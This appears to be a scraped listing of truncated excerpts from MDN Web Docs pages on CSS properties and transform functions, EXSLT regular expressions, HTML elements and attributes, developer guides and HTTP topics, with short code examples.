tainer y mandatory-scroll-snapping" dir="rtl"> <div>y mand. rtl</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> <div class="container y proximity-scroll-snapping" dir="rtl"> <div>y prox. ...
scrollbar-width - CSS: Cascading Style Sheets
auto; scrollbar-width: thin; scrollbar-width: none; /* global values */ scrollbar-width: inherit; scrollbar-width: initial; scrollbar-width: unset; values <scrollbar-width> defines the width of the scrollbar as a keyword. it must be one of the following values: auto the default scrollbar width for the platform. thin a thin scrollbar width variant on platforms that provide that option, or a thinner scrollbar than the default platform scrollbar width. none no scrollbar shown, however the element will still be scrollable. note: user agents must apply any scrollbar-width value set on the root element to the viewport. accessibility concerns use this property with caution — setting scrollbar-width to thin or none can ma...
text-align-last - CSS: Cascading Style Sheets
plies toblock containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | start | end | left | right | center | justify examples justifying the last line <p>integer elementum massa at nulla placerat varius. suspendisse in libero risus, in interdum massa. vestibulum ac leo vitae metus faucibus gravida ac in neque. nullam est eros, suscipit sed dictum quis, accumsan a ligula.</p> css p { font-size: 1.4em; text-align: justify; text-align-last: center; } results specifications specification status comment css text module level 3the definition of 'text-align-last' in that specification. working draft initial definition ...
transform-box - CSS: Cascading Style Sheets
working draft initial definition ...
matrix() - CSS: Cascading Style Sheets
working draft initial definition ...
perspective() - CSS: Cascading Style Sheets
editor's draft initial definition ...
rotate() - CSS: Cascading Style Sheets
working draft initial definition ...
rotate3d() - CSS: Cascading Style Sheets
editor's draft initial definition ...
rotateX() - CSS: Cascading Style Sheets
ne. 1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification. editor's draft initial definition ...
rotateY() - CSS: Cascading Style Sheets
ne. cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification. editor's draft initial definition ...
rotateZ() - CSS: Cascading Style Sheets
editor's draft initial definition ...
scale() - CSS: Cascading Style Sheets
working draft initial definition ...
scale3d() - CSS: Cascading Style Sheets
editor's draft initial definition ...
scaleX() - CSS: Cascading Style Sheets
working draft initial definition ...
scaleY() - CSS: Cascading Style Sheets
working draft initial definition ...
scaleZ() - CSS: Cascading Style Sheets
editor's draft initial definition ...
skew() - CSS: Cascading Style Sheets
working draft initial definition ...
skewX() - CSS: Cascading Style Sheets
working draft initial definition ...
skewY() - CSS: Cascading Style Sheets
working draft initial definition ...
translate() - CSS: Cascading Style Sheets
working draft initial definition ...
translate3d() - CSS: Cascading Style Sheets
editor's draft initial definition ...
translateX() - CSS: Cascading Style Sheets
working draft initial definition ...
translateY() - CSS: Cascading Style Sheets
working draft initial definition ...
translateZ() - CSS: Cascading Style Sheets
such as transform: perspective(200px) translatez(300px); the transformed element will not be visible as it is further than the user's viewport. the smaller the difference between the perspective and transform values, the closer the user is to the element and the larger the translated element will seem. result specifications specification status comment css transforms level 2the definition of 'transform' in that specification. editor's draft adds 3d transform functions to the css transforms standard. ...
transform-origin - CSS: Cascading Style Sheets
working draft ...
transition-duration - CSS: Cascading Style Sheets
g property as specified by the transition-property property, which acts as a master list. if there are fewer durations specified than in the master list, the user agent repeat the list of durations. if there are more durations, the list is simply truncated to the right size. in both case the css declaration stays valid. syntax /* <time> values */ transition-duration: 6s; transition-duration: 120ms; transition-duration: 1s, 15s; transition-duration: 10s, 30s, 230ms; /* global values */ transition-duration: inherit; transition-duration: initial; transition-duration: unset; values <time> is a <time> denoting the amount of time the transition from the old value of a property to the new value should take. a time of 0s indicates that no transition will happen, that is the switch between t...
transition-timing-function - CSS: Cascading Style Sheets
ansition, displaying each stop for equal lengths of time. for example, if n is 5, there are 5 steps. whether the transition holds temporarily at 0%, 20%, 40%, 60% and 80%, on the 20%, 40%, 60%, 80% and 100%, or makes 5 stops between the 0% and 100% along the transition, or makes 5 stops including the 0% and 100% marks (on the 0%, 25%, 50%, 75%, and 100%) depends on which of the following jump terms is used: jump-start denotes a left-continuous function, so that the first jump happens when the transition begins; jump-end denotes a right-continuous function, so that the last jump happens when the animation ends; jump-none there is no jump on either end. instead, holding at both the 0% mark and the 100% mark, each for 1/n of the duration jump-both includes pauses at ...
widows - CSS: Cascading Style Sheets
Web › CSS › widows
at must be shown at the top of a page, region, or column. /* <integer> values */ widows: 2; widows: 3; /* global values */ widows: inherit; widows: initial; widows: unset; in typography, a widow is the last line of a paragraph that appears alone at the top of a page. (the paragraph is continued from a prior page.) syntax values <integer> the minimum number of lines that can stay by themselves at the top of a new fragment after a fragmentation break. the value must be positive. formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples controlling column widows html <div> <p>this is the first paragraph containing some text.</p> <p>this is the second paragraph containin...
width - CSS: Cascading Style Sheets
Web › CSS › width
ercentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in em</div> percentage .percent { width: 20%; background-color: silver; border: 1px solid red; } <d...
z-index - CSS: Cascading Style Sheets
Web › CSS › z-index
overlapping elements with a larger z-index cover those with a smaller one. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. for a positioned box (that is, one with any position other than static), the z-index property specifies: the stack level of the box in the current stacking context. whether the box establishes a local stacking context. ...
zoom - CSS: Cascading Style Sheets
Web › CSS › zoom
/* keyword values */ zoom: normal; zoom: reset; /* <percentage> values */ zoom: 50%; zoom: 200%; /* <number> values */ zoom: 1.1; zoom: 0.7; /* global values */ zoom: inherit; zoom: initial; zoom: unset; syntax values normal render this element at its normal size. ...
Demos of open web technologies
ection here. ...
regexp:match() - EXSLT
Web › EXSLT › regexp › match
syntax regexp:match(targetstring, regexpstring[, flagsstring]) parameters targetstring the string to perform regular expression matching upon. regexpstring the javascript style regular expression to evaluate. flagsstringoptional an optional string containing character flags. the character flags are: g global match the submatches from every match in the string are returned. if this flag isn't specified, only the submatches from the first match are returned. ...
Regular expressions (regexp) - EXSLT
Web › EXSLT › regexp
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions. the namespace for the regular expressions package is http://exslt.org/regular-expressions. regexp:match()regexp:match() performs regular expression matching on a string, returning the submatches found as a result.regexp:replace()regexp:replace() replaces the portions of a string that match a given regular expression with the contents of another string.regexp:test()regexp:test() tests to see whether a string matches a specified regular expression. ...
Guide to Web APIs - Developer guides
Web › Guide › API
stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration ...
Video player styling basics - Developer guides
ction summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started. html markup there are a few changes that were made to the html markup shown in the previous article. the custom video controls and <progress> element are now contained within <div> elements, rather than residing inside unordered list items. the markup for the custom controls now looks as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type="button" data-state="play">play/pause</button> <button id="stop" type="button" data-state="stop">stop</button> <div class="progress"> <progress id="progress" value="0" min="0"> <span id="progress-bar"></span> </progres...
Audio and video manipulation - Developer guides
this article provides a reference to explain what you need to do. video manipulation the ability to read the pixel values from each frame of a video can be very useful. video and canvas the <canvas> element provides a surface for drawing graphics onto web pages; it is very powerful and can be coupled tightly with video. ...
Mouse gesture events - Developer guides
in the future. gecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures. these are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks. note: these gesture events are available to add-ons and other browser chrome code, but are never sent to regular web page content. note: some operating systems, including mac os x and windows 7, provide default actions when gesture events occur. if you handle a gesture event and wish to prevent the default action from taking place as well, be sure to call the event's preventdefault() method. types of gesture events mozswipegesture the mozswipegesture event is sent when the user uses three fingers to "swipe" the trackpad. mozmagnifygesturestart the mozma...
Mutation events - Developer guides
bably in other browsers as well. ... dottoro documents browser support for mutation events. ...
HTML5 Parser - Developer guides
Web › Guide › HTML › HTML5 › HTML5 Parser
literal strings <script, </script>, and <!--, you should prevent them from being parsed literally by expressing them as \u003cscript,\u003c/script>, and \u003c!--. the older practice of escaping the string </script> by surrounding it with comment markers, while supported by html5, is problematic in cases where the closing comment marker is omitted (see preceding point). you can avoid such problems by using the character code for the initial '<' instead. (it is valid to use an escape character, e.g., <\/script>, but this strategy does not work for <script and <!--, because \s and \! are not valid javascript escapes; the character code strategy is more general-purpose.) inline svg and mathml support as a completely new parsing feature, html5 introduced support for inline svg and mathml in...
Introduction to Web development - Developer guides
for another (overlapping) set of links to learning resources, see the mdn learning pages. note: the recommended resources on this page are subject to change. documentation topics html the basics of hypertext mark-up langage (html) — what exactly is html? basic structure of a web page — the doctype and document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category. ...
Mobile-friendliness - Developer guides
goal #1 (presentation) “make websites that work well on a variety of screen sizes.” these days, users can access the web on devices in a wide range of form factors, including phones, tablets, and ereaders. ...
Optimization and performance - Developer guides
there are several tools available to check the performance of a website or blog. the most notable tools are listed below. google pagespeed insights lighthouse webpagetest browser developer tools the above resources also include web performance best practices. ...
The Unicode Bidirectional Text Algorithm - Developer guides
the unicode® bidirectional algorithm (also known as the bidi algorithm) is part of the unicode text standard that describes how the user agent should order characters while rendering unicode text. understanding this algorithm in at least basic terms is helpful when you're striving to produce localization-ready web content or apps. in this guide, we'll take a look at the bidi algorithm and learn in general what it does and how it applies to your content, so that you'll be better prepared when using the features of html and css to which the algorithm applies while determining the order and directionality of text during rendering. fundamentals (base direction, character types, etc) the algorithm character level directionality directional runs (what they are, how base directio...
HTML attribute: capture - HTML: Hypertext Markup Language
he user-facing camera and/or microphone should be used. environment the outward-facing camera and/or microphone should be used note: capture was previously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. examples when set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one. <p> <label for="soundfile">what does your voice sound like?:</label> <input type="file" id="soundfile" capture="user" accept="audio/*"> </p> <p> <label for="videofile">upload a video:</label> <input type="file" id="videofile" capture="environment" accept="vi...
disabled - HTML: Hypertext Markup Language
descendant controls. if this attribute is not specified, the control inherits its setting from the containing element, for example fieldset; if there is no containing element with the disabled attribute set, and the control itself does not have the attribute, then the control is enabled. if declared on an <optgroup>, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable. note: if a <fieldset> is disabled, the descendant form controls are all disabled, with the exception of form controls within the <legend>. when a supporting element has the disabled attribute applied, the :disabled pseudo-class also applies to it. conversely, elements that support the disabled attribute but don't have the attribute set match the :enabled ps...
HTML attribute: multiple - HTML: Hypertext Markup Language
ht: 1.5em; vertical-align: top; } select[multiple]:focus, select[multiple]:active { height: auto; } */ there are a few ways to select multiple options in a <select> element with a multiple attribute. depending on the operating system, mouse users can hold the ctrl, command, or shift keys and then click multiple options to select/deselect them. keyboard users can select multiple contiguous items by focusing on the <select> element, selecting an item at the top or bottom of the range they want to select using the up and down cursor keys to go up and down the options. the selection of non-contiguous is not as well supported: items should be able to be selected and deselected by pressing space , but support varies between browsers. specifications specification status commen...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
nt that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin. see cors settings attributes for details on how the crossorigin attribute is used. security and tainted canvases because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevitable that security problems may arise. as soon as you draw into a canvas any data that was loaded from another origin without cors approval, the canvas becomes tainted. a tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown. if the source of the foreign content is an html <img> or svg <svg> element, attempting to retri...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
g content can be labeled using a combination of the aria-labelledby and id attributes, with the label concisely describing the purpose of the section. this technique is useful for situations where there is more than one sectioning element on the same page. example <header> <nav aria-labelledby="primary-navigation"> <h2 id="primary-navigation">primary navigation</h2> <!-- navigation items --> </nav> </header> <!-- page content --> <footer> <nav aria-labelledby="footer-navigation"> <h2 id="footer-navigation">footer navigation</h2> <!-- navigation items --> </nav> </footer> in this example, screen reading technology would announce that there are two <nav> sections, one called "primary navigation" and one called "footer navigation". if labels were not provided, the ...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
Web › HTML › Element › abbr
e an abbreviation which may be unfamiliar to the reader, present the term using <abbr> and either a title attribute or inline text providing the definition. when an abbreviation's presence in the text needs to be semantically noted, the <abbr> element is useful. this can be used, in turn, for styling or scripting purposes. you can use <abbr> in concert with <dfn> to establish definitions for terms which are abbreviations or acronyms. see the example defining an abbreviation below. grammar considerations in languages with grammatical number (that is, languages where the number of items affects the grammar of a sentence), use the same grammatical number in your title attribute as inside your <abbr> element. this is especially important in languages with more than two numbers, such as arab...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
Web › HTML › Element › applet
ta source object that supplies the data that is bound to the <param> elements associated with the applet. height this attribute specifies the height, in pixels, that the applet needs. hspace this attribute specifies additional horizontal space, in pixels, to be reserved on either side of the applet. mayscript in the netscape implementation, this attribute allows access to an applet by programs in a scripting language embedded in the document. name this attribute assigns a name to the applet so that it can be identified by other resources; particularly scripts. object this attribute specifies the url of a serialized representation of an applet. src as defined for internet explorer 4 and higher, this attribute specifies a url for an associated file for the applet. the meaning and u...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
tes to change the indentation applied to the quoted text, use the css margin-left and/or margin-right properties, or the margin shorthand property. to include shorter quotes inline rather than in a separate block, use the <q> (quotation) element. example this example demonstrates the use of the <blockquote> element to quote a passage from rfc 1149, a standard for the transmission of ip datagrams on avian carriers. <blockquote cite="https://tools.ietf.org/html/rfc1149"> <p>avian carriers can provide high delay, low throughput, and low altitude service. the connection topology is limited to a single point-to-point path for each carrier, used with standard carriers, but many carriers can be used without significant interference with each other, outside of early spring. this i...
<br>: The Line Break element - HTML: Hypertext Markup Language
Web › HTML › Element › br
attributes include the global attributes. deprecated attributes clear indicates where to begin the next line after the break. styling with css the <br> element has a single, well-defined purpose — to create a line break in a block of text. as such, it has no dimensions or visual output of its own, and there is very little you can do to style it. you can set a margin on <br> elements themselves to increase the spacing between the lines of text in the block, but this is a bad practice — you should use the line-height property that was designed for that purpose. examples simple br in the following example we use <br> elements to create line breaks between the different lines of a postal address: mozilla<br> 331 e. evelyn avenue<br> mountain view, ca<br> 94041<br> usa<br> the ...
<cite>: The Citation element - HTML: Hypertext Markup Language
Web › HTML › Element › cite
omment a forum post or comment a tweet a facebook post a written or oral statement and so forth. it's worth noting that the w3c specification says that a reference to a creative work, as included within a <cite> element, may include the name of the work’s author. however, the whatwg specification for <cite> says the opposite: that a person’s name must never be included, under any circumstances. to include a reference to the source of quoted material which is contained within a <blockquote> or <q> element, use the cite attribute on the element. typically, browsers style the contents of a <cite> element in italics by default. to avoid this, apply the css font-style property to the <cite> element. example <p>more information can be found in <cite>[iso-0000]</cite>.</p> the html...
<dt>: The Description Term element - HTML: Hypertext Markup Language
Web › HTML › Element › dt
the subsequent <dd> (description details) element provides the definition or other related text associated with the term specified using <dt>. the source for this interactive example is stored in a github repository. ...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
Web › HTML › Element › figure
tform: " + navigator.platform + "; "; txt+= "user-agent header: " + navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then programming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figur...
<form> - HTML: Hypertext Markup Language
Web › HTML › Element › form
r of each word. characters: capitalize all characters — that is, uppercase. autocomplete indicates whether input elements can by default have their values automatically completed by the browser. autocomplete attributes on form elements override it on <form>. possible values: off: the browser may not automatically complete entries. (browsers tend to ignore this for suspected login forms; see the autocomplete attribute and login fields.) on: the browser may automatically complete entries. name the name of the form. deprecated as of html 4 (use id instead). it must be unique among the forms in a document and not an empty string as of html5. rel creates a hyperlink or annotation depending on the value, see the rel attribute for details. attributes for form submission ...
<frame> - HTML: Hypertext Markup Language
Web › HTML › Element › frame
instead of the <frame> element, <iframe> may be preferred. attributes like all other html elements, this element supports the global attributes. ...
<hgroup> - HTML: Hypertext Markup Language
Web › HTML › Element › hgroup
multi-level heading. in other words, the <hgroup> element prevents any of its secondary <h1>–<h6> children from creating separate sections of their own in the outline—as those <h1>–<h6> elements otherwise normally would if they were not children of any <hgroup>. so in the abstract outline produced by the html outline algorithm defined in the html specification, the <hgroup> as a whole forms a single logical heading, with the entire set of <h1>–<h6> children of the <hgroup> going into the outline as one multi-level unit, to comprise that single logical heading in the abstract outline. to produce any (non-abstract) rendered view of such an outline, some choice must be made in the design of the rendering tool about how to render <hgroup> headings in such a way as to convey their mul...
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
Web › HTML › Element › hr
e for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. historically, this has been presented as a horizontal rule or line. while it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css. content categories flow content. permitted content none, it is an empty element. tag omission it must have start tag, but must not have an end tag. permitted parents any element that accepts flow content. implicit aria role ...
<image>: The obsolete Image element - HTML: Hypertext Markup Language
Web › HTML › Element › image
n order to display images, use the standard <img> element. while some browsers will attempt to automatically convert this into an <img> element, they won't always do so, and won't always succeed when they try, due to various ways in which the options can be interpreted. so just don't use it if you like your users. specifications this might have once been part of a specification, but nobody seems to remember. it certainly isn't anymore. just avoid it like the plague. ...
<input type="color"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › color
t the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal format. whil...
<input type="image"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › image
ttribute given on the owning form. permitted values are: get a url is constructed by starting with the url given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enctype attribute. this url is then sent to the server using an http get request. this method works well for simple forms that contain only ascii characters and have no side effects. this is the default value. post the form's data is included in the body of the request that is sent to the url given by the formaction or action attribute using an http post request. this method supports complex data and file attachments. dialog this method is used to indicate that the button simply closes the dialog with which the ...
<input type="number"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › number
user interface and logic for entering numbers into a form. when you create a number input with the proper type value, number, you get automatic validation that the entered text is a number, and usually a set of up and down buttons to step the value up and down. important: bear in mind that, logically, you should not be able to enter characters inside a number input other than numbers. there seems to be some disagreement about this among browsers; see bug 1398528. note: it's crucial to remember that a user can tinker with your html behind the scenes, so your site must not use simple client-side validation for any security purposes. you must verify on the server side any transaction in which the provided value may have any security implications of any kind. mobile browsers further help...
<isindex> - HTML: Hypertext Markup Language
Web › HTML › Element › isindex
> search document... <input name="isindex"> </label> <hr> </form> history on june 1992, dan connolly would prefer a different anchor type instead of isindex. on november 1992, indexes as links rather than documents started by dan connolly who is pushing the idea that indexes are more links than documents. in this thread, different type of solutions are proposed. the question of forms for making queries is mentioned in reference to dynatext browser: "the browser displays toggle buttons, text fields etc. the user fills in the fields, clicks ok, and the query results come up in the table of contents window." a thread about isindex in november 1992, kevin hoadley questioned the need for an isindex element and proposed to drop it. he proposed to have instead an input element (ide...
<main> - HTML: Hypertext Markup Language
Web › HTML › Element › main
main permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes. usage notes the content of a <main> element should be unique to the document. content that is repeated across a set of documents or document sections such as sidebars, navigation links, copyright information, site logos, and search forms shouldn't be included unless the search form is the main function of the page. <main> doesn't contribute to the document's outline; that is, unlike elements such as <body>, headings such as <h2>, and such, <main> doesn't affect the dom's concept of the structure of the page. it's strictly informative. example <!-- other content --> <main> <h1>apples</h1> <p>the apple is the pomaceous frui...
theme-color - HTML: Hypertext Markup Language
Web › HTML › Element › meta › name › theme-color
surrounding user interface. if specified, the content attribute must contain a valid css <color>. example <meta name="theme-color" content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile device. image credit: from icons & browser colors, created and shared by google and used according to terms described in the creative commons 4.0 attribution license. specifications specification html living standardthe definition of 'theme-color' in that specification. ...
Standard metadata names - HTML: Hypertext Markup Language
Web › HTML › Element › meta › name
standard metadata names defined in the html specification the html specification defines the following set of standard metadata names: application-name: the name of the application running in the web page. note: browsers may use this to identify the application. it is different from the <title> element, which usually contain the application name, but may also contain information like the document name or a status. simple web pages shouldn't define an application-name. author: the name of the document's author. ...
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
Web › HTML › Element › meta
see standard metadata names for details about the set of standard metadata names defined in the html specification. examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;url=https://www.mozilla.org"> specifications ...
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
Web › HTML › Element › noframes
it has no other attributes available. example in this example, we see a frameset with two frames. in addition, <noframes> is used to present an explanatory message if the user agent doesn't support frames. <frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that specification. recommendation html 4.01 specificationthe definition of '<noframes>' in that specification. recommendation ...
<optgroup> - HTML: Hypertext Markup Language
Web › HTML › Element › optgroup
or if the parent element has no more content. permitted parents a <select> element. implicit aria role group permitted aria roles no role permitted dom interface htmloptgroupelement note: optgroup elements may not be nested. attributes this element includes the global attributes. disabled if this boolean attribute is set, none of the items in this option group is selectable. often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones. label the name of the group of options, which the browser can use when labeling the options in the user interface. this attribute is mandatory if this element is used. examples <select> <optgroup label="group 1"> <option>option 1.1<...
<option>: The HTML Option element - HTML: Hypertext Markup Language
Web › HTML › Element › option
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content text, possibly with escaped characters (like &eacute;). tag omission the start tag is mandatory. ...
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
Web › HTML › Element › pre
nt indicating how the overflow must happen. in modern browser this hint is ignored and no visual effect results in its present; to achieve such an effect, use css white-space instead. example html <p>using css to change the font color is easy.</p> <pre> body { color: red; } </pre> result accessibility concerns it is important to provide an alternate description for any images or diagrams created using preformatted text. the alternate description should clearly and concisely describe the image or diagram's content. people experiencing low vision conditions and browsing with the aid of assistive technology such as a screen reader may not understand what the preformatted text characters are representing when they are read out in sequence. a combination of the <figure> and <figcapt...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
Web › HTML › Element › track
treated an invalid value as subtitles). the following keywords are allowed: subtitles subtitles provide translation of content that cannot be understood by the viewer. for example dialogue or text that is not english in an english language film. subtitles may contain additional content, usually extra background information. for example the text at the beginning of the star wars films, or the date, time, and location of a scene. captions closed captions provide a transcription and possibly a translation of audio. it may include important non-verbal information such as music cues or sound effects. it may indicate the cue's source (e.g. music, text, character). suitable for users who are deaf or when the sound is muted. descriptions text...
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › tt
the obsolete html teletype text element (<tt>) creates inline text which is presented using the user agent's default monospace font face. this element was created for the purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer. the terms non-proportional, monotype, and monospace are used interchangeably and have the same general meaning: they describe a typeface whose characters are all the same number of pixels wide. this element is obsolete, however. you should use the more semantically helpful <code>, <kbd>, <samp>, or <var> elements for inline text that needs to be presented in monospace type, or the <pre> tag for content that should be presented as a separate block. if none of the semantic elements are appro...
<video>: The Video Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › video
chromecast, dlna, airplay, etc). in safari, you can use x-webkit-airplay="deny" as a fallback. duration read only a double-precision floating-point value which indicates the duration (total length) of the media in seconds, on the media's timeline. if no media is present on the element, or the media is not valid, the returned value is nan. if the media has no known end (such as for live streams of unknown duration, web radio, media incoming from webrtc, and so forth), this value is +infinity. height the height of the video's display area, in css pixels (absolute values only; no percentages.) intrinsicsize this attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute. specifically, the image would raster at ...
autocapitalize - HTML: Hypertext Markup Language
tter of each sentence defaults to a capital letter; all other letters default to lowercase words: the first letter of each word defaults to a capital letter; all other letters default to lowercase characters: all letters should default to uppercase the autocapitalize attribute doesn’t affect behavior when typing on a physical keyboard. instead, it affects the behavior of other input mechanisms, such as virtual keyboards on mobile devices and voice input. the behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences. the autocapitalize attribute enables authors to override that behavior per-element. the autocapitalize attribute never causes autocapitalization to be enabled for an <input> element with a type attribute whose v...
data-* - HTML: Hypertext Markup Language
set on. the htmlelement.dataset property gives access to them. the * may be replaced by any name following the production rule of xml names with the following restrictions: the name must not start with xml, whatever case is used for these letters; the name must not contain any semicolon (u+003a); the name must not contain capital letters. note that the htmlelement.dataset property is a domstringmap, and the name of the custom data attribute data-test-value will be accessible via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase. usage by adding data-* attributes, even ordinary html elements can become rather complex and powerful program-objects. for exa...
hidden - HTML: Hypertext Markup Language
. elements and scripts may, however, refer to elements that are hidden in other contexts. for example, it would be incorrect to use the href attribute to link to a section marked with the hidden attribute. if the content is not applicable or relevant, then there is no reason to link to it. it would be fine, however, to use the aria aria-describedby attribute to refer to descriptions that are themselves hidden. while hiding the descriptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe. similarly, a canvas element with the hidden attribute could be used by a scripted graphics engine as an off-screen buffer, and a form control could refer to a hidden form...
id - HTML: Hypertext Markup Language
s r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). browsers treat non-conforming ids that contain whitespace as if the whitespace is part of the id. in contrast to the class attribute, which allows space-separated values, elements can only have one single id value. note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4. though this restriction has been lifted in html5, an id should start with a letter for compatibility. specifications specification status comment html living standardthe definition of 'id' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification...
translate - HTML: Hypertext Markup Language
children should be translated when the page is localized, or whether to leave them unchanged. it can have the following values: empty string or "yes", which indicates that the element should be translated when the page is localized. "no", which indicates that the element must not be translated. although not all browsers recognize this attribute, it is respected by automatic translation systems such as google translate, and may also be respected by tools used by human translators. as such it's important that web authors use this attribute to mark content that should not be translated. examples in this example, the translate attribute is used to ask translation tools not to translate the company's brand name in the footer. <footer> <small>© 2020 <span translate="no">brandname</span...
Link types: noopener - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'noopener' in that specification. living standard ...
HTTP authentication - HTTP
no longer able to trigger http authentication dialogs (bug 1423146), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page. character encoding of http authentication browsers use utf-8 encoding for usernames and passwords. firefox once used iso-8859-1, but changed to utf-8 for parity with other browsers and to avoid potential problems as described in bug 1419658. www-authenticate and proxy-authenticate headers the www-authenticate and proxy-authenticate response headers define the authentication method that should be used to gain access to a resource. they must specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. the syntax for these headers is the fo...
Resource URLs - HTTP
a changed the behavior of loading resource: uris in bug 863246, which landed in firefox 57 (quantum). in the past, web content was able to access whatever resource: uris were desired — not only firefox’s internal resources, but also extensions’ assets. now this behavior is prohibited by default. it is however still necessary for firefox to load resources in web content under certain circumstances. for example, if you open the view source page (view page source or view selection source), you will find it requires viewsource.css through a resource: uri. resources that have to be exposed to web content have been moved to a new location named resource://content-accessible/, which is isolated and only contains non-sensitive resources. in this way we can keep essential resources expose...
Using HTTP cookies - HTTP
Web › HTTP › Cookies
